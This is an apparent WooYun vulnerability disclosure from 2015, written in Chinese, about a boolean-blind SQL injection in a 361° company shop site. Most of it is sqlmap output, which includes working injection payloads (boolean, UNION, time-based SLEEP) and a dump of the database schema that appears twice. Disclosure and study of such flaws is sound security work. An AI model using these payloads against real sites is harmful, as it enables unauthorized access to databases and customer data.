漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0142247
漏洞标题：三六一度(中国)有限公司某站存在布尔盲注大量数据泄露
相关厂商：三六一度(中国)有限公司
漏洞作者： 路人甲
提交时间：2015-09-24 00:09
修复时间：2015-09-29 00:10
公开时间：2015-09-29 00:10
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-09-24： 细节已通知厂商并且等待厂商处理中
2015-09-29： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
SQL注入
详细说明：
http://**.**.**.**/index.php?m=Product&a=index&sex=1&sports=13&pclass=4存在注入点
[INFO] GET parameter 'sex' is 'AND boolean-based blind - WHERE or HAV
ING clause' injectable
漏洞证明：
sqlmap identified the following injection points with a total of 393 HTTP(s) req
uests:
---
Place: GET
Parameter: sex
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=Product&a=index&sex=1) AND 5988=5988 AND (4527=4527&sports=13&pcl
ass=4
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: m=Product&a=index&sex=1) LIMIT 0,1 UNION ALL SELECT NULL,NULL,NULL,
NULL,CONCAT(0x3a6c6a783a,0x75776c5448594a4b444a,0x3a67667a3a),NULL#&sports=13&pc
lass=4
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: m=Product&a=index&sex=1) AND SLEEP(5) AND (2084=2084&sports=13&pcla
ss=4
---
[16:31:28] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
available databases [2]:
[*] information_schema
[*] new361
Database: new361
[43 tables]
+---------------------------------------+
| shop_activity |
| shop_address |
| shop_admin |
| shop_areas |
| shop_article |
| shop_article_cate |
| shop_banner |
| shop_cart |
| shop_cateflash |
| shop_category |
| shop_collect |
| shop_color |
| shop_comment |
| shop_coupon |
| shop_express |
| shop_fullcut |
| shop_grade |
| shop_itemback |
| shop_kucinfo |
| shop_kucinfo2 |
| shop_logs |
| shop_member |
| shop_membercoupon |
| shop_menu |
| shop_message |
| shop_mobileitem |
| shop_order |
| shop_ordergoods |
| shop_picture |
| shop_postage |
| shop_praise |
| shop_product |
| shop_relation_act |
| shop_role |
| shop_role_auth |
| shop_scene |
| shop_scenecategory |
| shop_scorehistory |
| shop_sms_code |
| shop_sms_ip |
| shop_store |
| shop_technology |
| wechat_ordergoods |
+---------------------------------------+
Database: information_schema
[59 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_METRICS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_DATAFILES |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESPACES |
| INNODB_SYS_TABLESTATS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
available databases [2]:
[*] information_schema
[*] new361
Database: new361
[43 tables]
+---------------------------------------+
| shop_activity |
| shop_address |
| shop_admin |
| shop_areas |
| shop_article |
| shop_article_cate |
| shop_banner |
| shop_cart |
| shop_cateflash |
| shop_category |
| shop_collect |
| shop_color |
| shop_comment |
| shop_coupon |
| shop_express |
| shop_fullcut |
| shop_grade |
| shop_itemback |
| shop_kucinfo |
| shop_kucinfo2 |
| shop_logs |
| shop_member |
| shop_membercoupon |
| shop_menu |
| shop_message |
| shop_mobileitem |
| shop_order |
| shop_ordergoods |
| shop_picture |
| shop_postage |
| shop_praise |
| shop_product |
| shop_relation_act |
| shop_role |
| shop_role_auth |
| shop_scene |
| shop_scenecategory |
| shop_scorehistory |
| shop_sms_code |
| shop_sms_ip |
| shop_store |
| shop_technology |
| wechat_ordergoods |
+---------------------------------------+
Database: information_schema
[59 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_METRICS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_DATAFILES |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESPACES |
| INNODB_SYS_TABLESTATS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
修复方案：
做好过滤，你比我懂
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-09-29 00:10
厂商回复：
最新状态：
暂无